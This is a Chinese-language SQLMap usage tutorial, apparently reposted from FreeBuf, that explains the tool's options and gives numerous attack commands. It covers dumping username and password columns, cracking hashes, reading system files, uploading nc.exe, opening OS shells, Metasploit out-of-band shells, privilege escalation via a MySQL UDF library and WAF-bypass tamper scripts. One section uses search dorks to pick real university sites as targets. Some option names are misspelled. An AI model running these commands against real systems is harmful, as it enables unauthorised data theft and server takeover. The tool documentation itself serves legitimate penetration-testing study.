SQLMap使用攻略及技巧分享

article/2025/9/25 22:32:40

SQLMap使用攻略及技巧分享

    • 1.1 sqlmap简介
    • 1.2 下载及安装
    • 1.3 SQL使用参数详解
    • 1.4 实际利用
    • 以下为实战内容

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap目前最新版本为1.1.8-8,相关资源如下:

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

演示视频:https://asciinema.org/a/46601

教程:http://www.youtube.com/user/inquisb/videos

1.1 sqlmap简介

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式:

基于布尔的盲注,即可以根据返回页面判断条件真假的注入;基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;联合查询注入,可以使用union的情况下的注入;堆查询注入,可以同时执行多条语句的执行时的注入。

1.2 下载及安装

(1)linux下git直接安装gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev(2)windows下安装windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。(3)kali及PentestBox默认安装sqlmap

1.3 SQL使用参数详解

本文以SQLmap 1.1.8-8版本为例,对其所有参数进行详细的分析和讲解,便于在使用时进行查询。

用法: sqlmap.py [选项]

  • 1.3.1 选项

    -h,–help  显示基本帮助信息并退出-hh    显示高级帮助信息并退出–version  显示程序版本信息并退出-vVERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
    
  • 1.3.2 目标 在这些选项中必须提供至少有一个确定目标

       -d DIRECT    直接连接数据库的连接字符串-u URL, –url=URL   目标URL (e.g.”http://www.site.com/vuln.php?id=1“),使用-u或者–url-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)-c CONFIGFILE       从配置ini文件中加载选项
    
  • 1.3.3 请求
    这些选项可以用来指定如何连接到目标URL

      –method=METHOD  强制使用给定的HTTP方法(例如put)--data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users–param-del=PARA..  当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。–cookie=COOKIE     HTTP Cookieheader 值–cookie-del=COO..  用来分隔cookie的字符串值–load-cookies=L..  Filecontaining cookies in Netscape/wget format–drop-set-cookie   IgnoreSet-Cookie header from response–user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入–random-agent     使用random-agent作为HTTP User-Agent头值–host=HOST         HTTP Hostheader value–referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入-H HEADER, –hea..  额外的http头(e.g.”X-Forwarded-For: 127.0.0.1″)–headers=HEADERS  可以通过–headers参数来增加额外的http头(e.g.”Accept-Language: fr\nETag: 123″)–auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)–auth-cred=AUTH..  HTTP 认证凭证(name:password)–auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。–ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)–ignore-proxy      忽略系统的默认代理设置–ignore-redirects忽略重定向的尝试–ignore-timeouts   忽略连接超时–proxy=PROXY       使用代理服务器连接到目标URL–proxy-cred=PRO..  代理认证凭证(name:password)–proxy-file=PRO..  从文件加载代理列表–tor               使用Tor匿名网络–tor-port=TORPORT  设置Tor代理端口–tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))–check-tor       检查Tor的是否正确使用–delay=DELAY   可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。–timeout=TIMEOUT   可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。–retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。–randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样–safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下–safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。–safe-req=SAFER..  从文件中加载安全HTTP请求–safe-freq=SAFE..  测试一个给定安全网址的两个访问请求–skip-urlencode    跳过URL的有效载荷数据编码–csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌–csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌–force-ssl         强制使用SSL/HTTPS–hpp               使用HTTP参数污染的方法–eval=EVALCODE     在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
    
  • 1.3.4 优化
    这些选项可用于优化sqlmap性能

      -o               打开所有的优化开关–predict-output    预测普通查询输出–keep-alive        使用持久HTTP(S)连接–null-connection   获取页面长度–threads=THREADS   当前http(s)最大请求数 (默认 1)
    
  • 1.3.5 注入
    这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

     -p TESTPARAMETER    可测试的参数–skip=SKIP         跳过对给定参数的测试–skip-static       跳过测试不显示为动态的参数–param-exclude=..  使用正则表达式排除参数进行测试(e.g. “ses”)–dbms=DBMS         强制后端的DBMS为此值–dbms-cred=DBMS..  DBMS认证凭证(user:password)–os=OS            强制后端的DBMS操作系统为这个值–invalid-bignum    使用大数字使值无效–invalid-logical   使用逻辑操作使值无效–invalid-string    使用随机字符串使值无效–no-cast          关闭有效载荷铸造机制–no-escape         关闭字符串逃逸机制–prefix=PREFIX     注入payload字符串前缀–suffix=SUFFIX     注入payload字符串后缀–tamper=TAMPER   使用给定的脚本篡改注入数据
    
  • 1.3.6 检测
    这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

     –level=LEVEL     执行测试的等级(1-5,默认为1)–risk=RISK       执行测试的风险(0-3,默认为1)–string=STRING    查询时有效时在页面匹配字符串–not-string=NOT..  当查询求值为无效时匹配的字符串–regexp=REGEXP     查询时有效时在页面匹配正则表达式–code=CODE       当查询求值为True时匹配的HTTP代码–text-only        仅基于在文本内容比较网页–titles           仅根据他们的标题进行比较
    
  • 1.3.7 技巧
    这些选项可用于调整具体的SQL注入测试

     –technique=TECH    SQL注入技术测试(默认BEUST)–time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)–union-cols=UCOLS  定列范围用于测试UNION查询注入–union-char=UCHAR  暴力猜测列的字符数–union-from=UFROM  SQL注入UNION查询使用的格式–dns-domain=DNS..  DNS泄露攻击使用的域名–second-order=S..  URL搜索产生的结果页面
    
  • 1.3.8 指纹

      -f, –fingerprint   执行广泛的DBMS版本指纹检查
    
  • 1.3.9 枚举
    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

     -a, –all           获取所有信息-b, –banner        获取数据库管理系统的标识–current-user      获取数据库管理系统当前用户–current-db        获取数据库管理系统当前数据库–hostname         获取数据库服务器的主机名称–is-dba            检测DBMS当前用户是否DBA–users             枚举数据库管理系统用户–passwords         枚举数据库管理系统用户密码哈希–privileges        枚举数据库管理系统用户的权限–roles            枚举数据库管理系统用户的角色–dbs             枚举数据库管理系统数据库–tables            枚举的DBMS数据库中的表–columns          枚举DBMS数据库表列–schema            枚举数据库架构–count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb–dump            转储数据库表项–dump-all          转储数据库所有表项–search           搜索列(S),表(S)和/或数据库名称(S)–comments          获取DBMS注释-D DB               要进行枚举的指定数据库名-T TBL              DBMS数据库表枚举-C COL             DBMS数据库表列枚举-X EXCLUDECOL     DBMS数据库表不进行枚举-U USER           用来进行枚举的数据库用户–exclude-sysdbs    枚举表时排除系统数据库–pivot-column=P..  Pivot columnname–where=DUMPWHERE   Use WHEREcondition while table dumping–start=LIMITSTART  获取第一个查询输出数据位置–stop=LIMITSTOP   获取最后查询的输出数据–first=FIRSTCHAR   第一个查询输出字的字符获取–last=LASTCHAR    最后查询的输出字字符获取–sql-query=QUERY   要执行的SQL语句–sql-shell         提示交互式SQL的shell–sql-file=SQLFILE  要执行的SQL文件
    
  • 1.3.10 暴力
    这些选项可以被用来运行暴力检查

     –common-tables     检查存在共同表–common-columns    检查存在共同列
    
  • 1.3.11 用户自定义函数注入
    这些选项可以用来创建用户自定义函数

     –udf-inject    注入用户自定义函数–shared-lib=SHLIB  共享库的本地路径
    
  • 1.3.12 访问文件系统
    这些选项可以被用来访问后端数据库管理系统的底层文件系统

     –file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1
    
  • 1.3.13 操作系统访问
    这些选项可以用于访问后端数据库管理系统的底层操作系统

     –os-cmd=OSCMD   执行操作系统命令(OSCMD)–os-shell          交互式的操作系统的shell–os-pwn          获取一个OOB shell,meterpreter或VNC–os-smbrelay       一键获取一个OOBshell,meterpreter或VNC–os-bof           存储过程缓冲区溢出利用–priv-esc          数据库进程用户权限提升–msf-path=MSFPATH  MetasploitFramework本地的安装路径–tmp-path=TMPPATH  远程临时文件目录的绝对路径linux查看当前用户命令:sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –os-cmd id -v1
    
  • 1.3.14 Windows注册表访问
    这些选项可以被用来访问后端数据库管理系统Windows注册表

     –reg-read          读一个Windows注册表项值–reg-add           写一个Windows注册表项值数据–reg-del           删除Windows注册表键值–reg-key=REGKEY    Windows注册表键–reg-value=REGVAL  Windows注册表项值–reg-data=REGDATA  Windows注册表键值数据–reg-type=REGTYPE  Windows注册表项值类型
    
  • 1.3.15 一般选项
    这些选项可以用来设置一些一般的工作参数

     -s SESSIONFILE     保存和恢复检索会话文件的所有数据-t TRAFFICFILE      记录所有HTTP流量到一个文本文件中–batch            从不询问用户输入,使用所有默认配置。–binary-fields=..  结果字段具有二进制值(e.g.”digest”)–charset=CHARSET   强制字符编码–crawl=CRAWLDEPTH  从目标URL爬行网站–crawl-exclude=..  正则表达式从爬行页中排除–csv-del=CSVDEL    限定使用CSV输出 (default”,”)–dump-format=DU..  转储数据格式(CSV(default), HTML or SQLITE)–eta              显示每个输出的预计到达时间–flush-session     刷新当前目标的会话文件–forms           解析和测试目标URL表单–fresh-queries     忽略在会话文件中存储的查询结果–hex             使用DBMS Hex函数数据检索–output-dir=OUT..  自定义输出目录路径–parse-errors      解析和显示响应数据库错误信息–save=SAVECONFIG   保存选项到INI配置文件–scope=SCOPE    从提供的代理日志中使用正则表达式过滤目标–test-filter=TE..  选择测试的有效载荷和/或标题(e.g. ROW)–test-skip=TEST..  跳过试验载荷和/或标题(e.g.BENCHMARK)–update            更新sqlmap
    
  • 1.3.16 其他
    -z MNEMONICS 使用短记忆法 (e.g.”flu,bat,ban,tec=EU”)

     –alert=ALERT       发现SQL注入时,运行主机操作系统命令–answers=ANSWERS   当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. “quit=N,follow=N”),例如:sqlmap.py -u”http://192.168.22.128/get_int.php?id=1“–technique=E–answers=”extending=N” –batch–beep    发现sql注入时,发出蜂鸣声。–cleanup     清除sqlmap注入时在DBMS中产生的udf与表。–dependencies      Check formissing (non-core) sqlmap dependencies–disable-coloring  默认彩色输出,禁掉彩色输出。–gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试–identify-waf      进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别–mobile     有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。–offline           Work inoffline mode (only use session data)–purge-output     从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。–skip-waf           跳过WAF/IPS / IDS启发式检测保护–smart            进行积极的启发式测试,快速判断为注入的报错点进行注入–sqlmap-shell      互动提示一个sqlmapshell–tmp-dir=TMPDIR    用于存储临时文件的本地目录–web-root=WEBROOT  Web服务器的文档根目录(e.g.”/var/www”)–wizard   新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入
    

1.4 实际利用

  • 1.4.1 检测和利用SQL注入
    1.手工判断是否存在漏洞

      对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。
    
  1. sqlmap自动检测

     检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。
    
  2. 寻找和判断实例

     通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图2所示,如果能够正常访问,则复制该URL地址。超详细SQLMap使用攻略及技巧
    

在这里插入图片描述
图1 搜索目标

在这里插入图片描述

图2 测试网页能否正常访问

将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞。

在这里插入图片描述
图3 检测URL地址是否存在漏洞

  1. 批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下。

在这里插入图片描述
图4 批量整理目标地址

  • 1.4.2 直接连接数据库
    sqlmap.py -d”mysql://admin:admin@192.168.21.17:3306/testdb” -f –banner –dbs–users

  • 1.4.3数据库相关操作
    1.列数据库信息:–dbs

      2.web当前使用的数据库–current-db3.web数据库使用账户–current-user4.列出sqlserver所有用户 –users5.数据库账户与密码 –passwords6.指定库名列出所有表  -D database –tables-D:指定数据库名称7.指定库名表名列出所有字段 -D antian365-T admin –columns-T:指定要列出字段的表8.指定库名表名字段dump出指定字段-D secbang_com -T admin -C  id,password ,username –dump-D antian365 -T userb -C”email,Username,userpassword” –dump可加双引号,也可不加双引号。9.导出多少条数据-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump 参数:–start:指定开始的行–stop:指定结束的行此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。
    
  • 1.5 SQLMAP实用技巧
    1. mysql的注释方法进行绕过WAF进行SQL注入
    (1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

      return match.group().replace(word,”/*!0%s” % word) 为:return match.group().replace(word,”/*!50000%s*/” % word)(2)修改C:\Python27\sqlmap\xml\queries.xml<cast query=”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/>(3)使用sqlmap进行注入测试sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”其它绕过waf脚本方法:sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3(4)tamper目录下文件具体含义:space2comment.py用/**/代替空格apostrophemask.py用utf8代替引号equaltolike.pylike代替等号space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。space2hash.py空格替换为#号,随机字符串以及换行符apostrophenullencode.py绕过过滤双引号,替换字符和双引号。halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论space2morehash.py空格替换为 #号 以及更多随机字符串 换行符appendnullbyte.py在有效负荷结束位置加载零字节字符编码ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’space2mssqlblank.py(mssql)空格替换为其它空符号base64encode.py 用base64编码替换space2mssqlhash.py 替换空格modsecurityversioned.py过滤空格,包含完整的查询版本注释space2mysqlblank.py 空格替换其它空白符号(mysql)between.py用between替换大于号(>)space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)multiplespaces.py围绕SQL关键字添加多个空格space2plus.py用+替换空格bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为likenonrecursivereplacement.py双重查询语句,取代SQL关键字space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾chardoubleencode.py双url编码(不处理以编码的)unionalltounion.py替换UNION ALLSELECT UNION SELECTcharencode.py url编码randomcase.py随机大小写unmagicquotes.py宽字符绕过 GPCaddslashesrandomcomments.py用/**/分割sql关键字charunicodeencode.py字符串 unicode 编码securesphere.py追加特制的字符串versionedmorekeywords.py注释绕过space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’halfversionedmorekeywords.py关键字前加注释2. URL重写SQL注入测试value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”3. 列举并破解密码哈希值当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v14. 获取表中的数据个数sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb5.对网站secbang.com进行漏洞爬去sqlmap.py -u “http://www.secbang.com“–batch –crawl=36.基于布尔SQL注入预估时间sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta7.使用hex避免字符编码导致数据丢失sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors8.模拟测试手机环境站点python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile9.智能判断测试sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart10.结合burpsuite进行注入(1)burpsuite抓包,需要设置burpsuite记录请求日志sqlmap.py -r burpsuite抓包.txt(2)指定表单注入sqlmap.py -u URL –data“username=a&password=a”11.sqlmap自动填写表单注入自动填写表单:sqlmap.py -u URL –formssqlmap.py -u URL –forms –dbssqlmap.py -u URL –forms –current-dbsqlmap.py -u URL –forms -D 数据库名称–tablessqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columnssqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump12.读取linux下文件sqlmap.py-u “url” –file /etc/password13.延时注入sqlmap.py -u URL –technique -T–current-user14. sqlmap 结合burpsuite进行post注入结合burpsuite来使用sqlmap:(1)浏览器打开目标地址http://www.antian365.com(2)配置burp代理(127.0.0.1:8080)以拦截请求(3)点击登录表单的submit按钮(4)Burp会拦截到了我们的登录POST请求(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下(6)运行sqlmap并使用如下命令:./sqlmap.py -r post.txt -p tfUPass15.sqlmap cookies注入sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″  –dbs –level 2默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump16.mysql提权(1)连接mysql数据打开一个交互shell:sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dllCREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'select sys_eval('ver'); 17.执行shell命令sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/sqlmap.py -u “url” –os-shell /*系统交互的shell*/18.延时注入sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/sqlmap –dbs -u"url" –safe-freq /*请求2次*/参考文章:http://sqlmap.org/https://github.com/sqlmapproject/sqlmaphttps://github.com/sqlmapproject/sqlmap/wikihttps://sobug.com/article/detail/2https://blog.xiaohack.org/1378.html*本文作者:simeon,转载请注明来自 FreeBuf.COM
    

以下为实战内容

  • Sqlmap注入使用方法1:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/mysql/get_int.php?id=1 -f -b --current-user --current-db --users --passwords --dbs -v 0-u                         目标地址-f                          广泛指纹后端DBMS-b                         检索DBMS横幅--current-user      检索当前会话用户--current-db         检索当前数据库--users                 枚举数据库用户--passwords         枚举数据库用户密码散列--dbs                    枚举可用的数据库-v VERBOSE         详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法2:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/oracle/get_int.php?id=1 -b --passwords -U CU --union-use -v 2-u                         目标地址-b                         检索DBMS横幅--passwords         枚举数据库用户密码散列-U                         指定数据库用户(cu,当前用户的别名)--unlon-use         如果可能,通过联合查询sql注入检索数据-v VERBOSE         详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法3:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/mssql/iis/get_str2.asp?name=fujieace --dump -T users -C surname -D testdb --start 2 --stop 3 -v 2-u                         目标地址--dump                打印表项-T                         打印表(users)-C                         打印列(surname)--start                  第一个项输入(2,第二个表格顶部)--stop                  最后一项输入(3,第三个表格顶部)-v VERBOSE         详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法4:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/get_int.php?id=1 --dump -C 'user.pass' -v 1 --exclude-sysdbs-u                               目标地址--dump                      打印表项-C                               打印列(user.pass)-v VERBOSE                详细程度级别:0-6(默认值1)--exclude-sysdbs       lgnore系统数据库(e.g.information_schema)注意:没有提供table名(-T选项)
    
  • Sqlmap注入使用方法5:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/oracle/get_int.php?id=1 --sql-shell -v 2-u                               目标地址--sql-shell                  产生一个交互式的sql shell-v VERBOSE               详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法6:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/mssql/iis/get_int.asp?id=1 --read-file "c:\example.txt" -v 2-u                               目标地址--read-file                 文件以从底层文件系统读取-v VERBOSE               详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法7:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/get_int.php?id=1 --write-file /etc/passwd --dest-file /tmp/writetest -v 2-u                               目标地址--write-file                文件上传到底层文件系统(/ etc / passwd)--dest-file                  绝对文件系统路径写入(/ tmp / writetest)-v VERBOSE               详细程度级别:0-6(默认值1)
    

*Sqlmap注入使用方法8:

	python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/get_int.php?id=1 --os-cmd "id" -v 1-u                               目标地址--os-cmd   操作系统命令执行(id)-v VERBOSE               详细程度级别:0-6(默认值1)
  • Sqlmap注入使用方法9:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/mysql/get_int.aspx?id=1 --os-shell -v 1 --union-use-u                              目标地址--os-shell                  生成交互式命令提示符---union-usea           如果可能的话,通过联合查询SQL注入使用petrieve数据-v VERBOSE               详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法10:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/iis/get_int.aspx?id=1 --os-pwn --msf-path /home/inquis/software/metasploit --priv-esc -v 1-u                              目标地址--os-pwn                  建立用户和数据库服务器之间的带外连接--msf-path                metasploit文件系统路径(/home/inquis/software/metasploit)--prive-esc                尝试将数据库进程的用户权限提升到系统-v VERBOSE               详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法11:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/mysql/get_int.php?id=1 --os-pwn --msf-path /home/inquis/software/metasploit -v 1-u                              目标地址--os-pwn                  建立用户和数据库服务器之间的带外连接--msf-path                metasploit文件系统路径(/home/inquis/software/metasploit)-v VERBOSE               详细程度级别:0-6(默认值1)
    
  • Sqlmap注入使用方法12:

      python /usr/bin/sqlmap.py -u https://www.fujieace.com/mssql/iis/get_int.asp?id=1 --os-bof -v 1 --mst-path ~/software/metasploit-u                              目标地址--os-bof                    通过利用微软sql服务器缓冲区溢出(MS09-04)建立用户和数据库服务器之间的带外连接,--msf-path                metasploit文件系统路径(/home/inquis/software/metasploit)-v VERBOSE               详细程度级别:0-6(默认值1)
    

http://chatgpt.dhexx.cn/article/Yo6YWbn0.shtml

相关文章

Golang Devops项目开发

1.1 GO语言基础 1 初识Go语言 1.1.1 开发环境搭建 参考文档&#xff1a;《Windows Go语言环境搭建》 1.2.1 Go语言特性-垃圾回收 a. 内存自动回收&#xff0c;再也不需要开发人员管理内存 b. 开发人员专注业务实现&#xff0c;降低了心智负担 c. 只需要new分配内存&#xff0c;…

Clickhouse-MergeTree原理解析

MergeTree原理解析 表引擎是ClickHouse设计实现中的一大特色。可以说&#xff0c;是表引擎决定了一张数据表最终的“性格”&#xff0c;比如数据表拥有何种特性、数据以何种形式被存储以及如何被加载。ClickHouse拥有非常庞大的表引擎体系&#xff0c;截至本书完成时&#xff0…

Python数据分析高薪实战第七天 数据解析和电商行为分析案例

15 时间序列&#xff1a;时间数据的解析与应用 在很多数据分析任务中&#xff0c;经常会遇到处理时间相关的数据。比如电商网站经常需要根据下单记录来分析不同时间段的商品偏好&#xff0c;以此来决定网站不同时间段的促销信息&#xff1b;又或者是通过对过去十年的金融市场的…

C++语法整理(From GitHub)

&#x1f4d6; Github    |    &#x1f4da; Docsify 简体中文    |    English &#x1f4a1; 关于 &#x1f4da; 本仓库是面向 C/C 技术方向校招求职者、初学者的基础知识总结&#xff0c;包括语言、程序库、数据结构、算法、系统、网络、链接装载库等知识及面试经…

28款GitHub最流行的开源机器学习项目,推荐GitHub上10 个开源深度学习框架

20 个顶尖的 Python 机器学习开源项目 机器学习 2015-06-08 22:44:30 发布 您的评价: 0.0 收藏 1收藏 我们在Github上的贡献者和提交者之中检查了用Python语言进行机器学习的开源项目&#xff0c;并挑选出最受欢迎和最活跃的项目。”图1&#xff1a;在GitHub上用Python语…

十分钟的爬虫erAST解混淆

前言 本文大约4000字&#xff0c;阅读大约时间10分钟。 可以一口气读完入门在爬虫er手中如何使用AST去解混淆。 正文 抽象语法树&#xff08;Abstract Syntax Tree&#xff09;通常被称为AST语法树&#xff0c;指的是源代码语法所对应的树状结构。也就是一种将源代码通过构…

什么是目标检测?github项目解析(持续更新中)

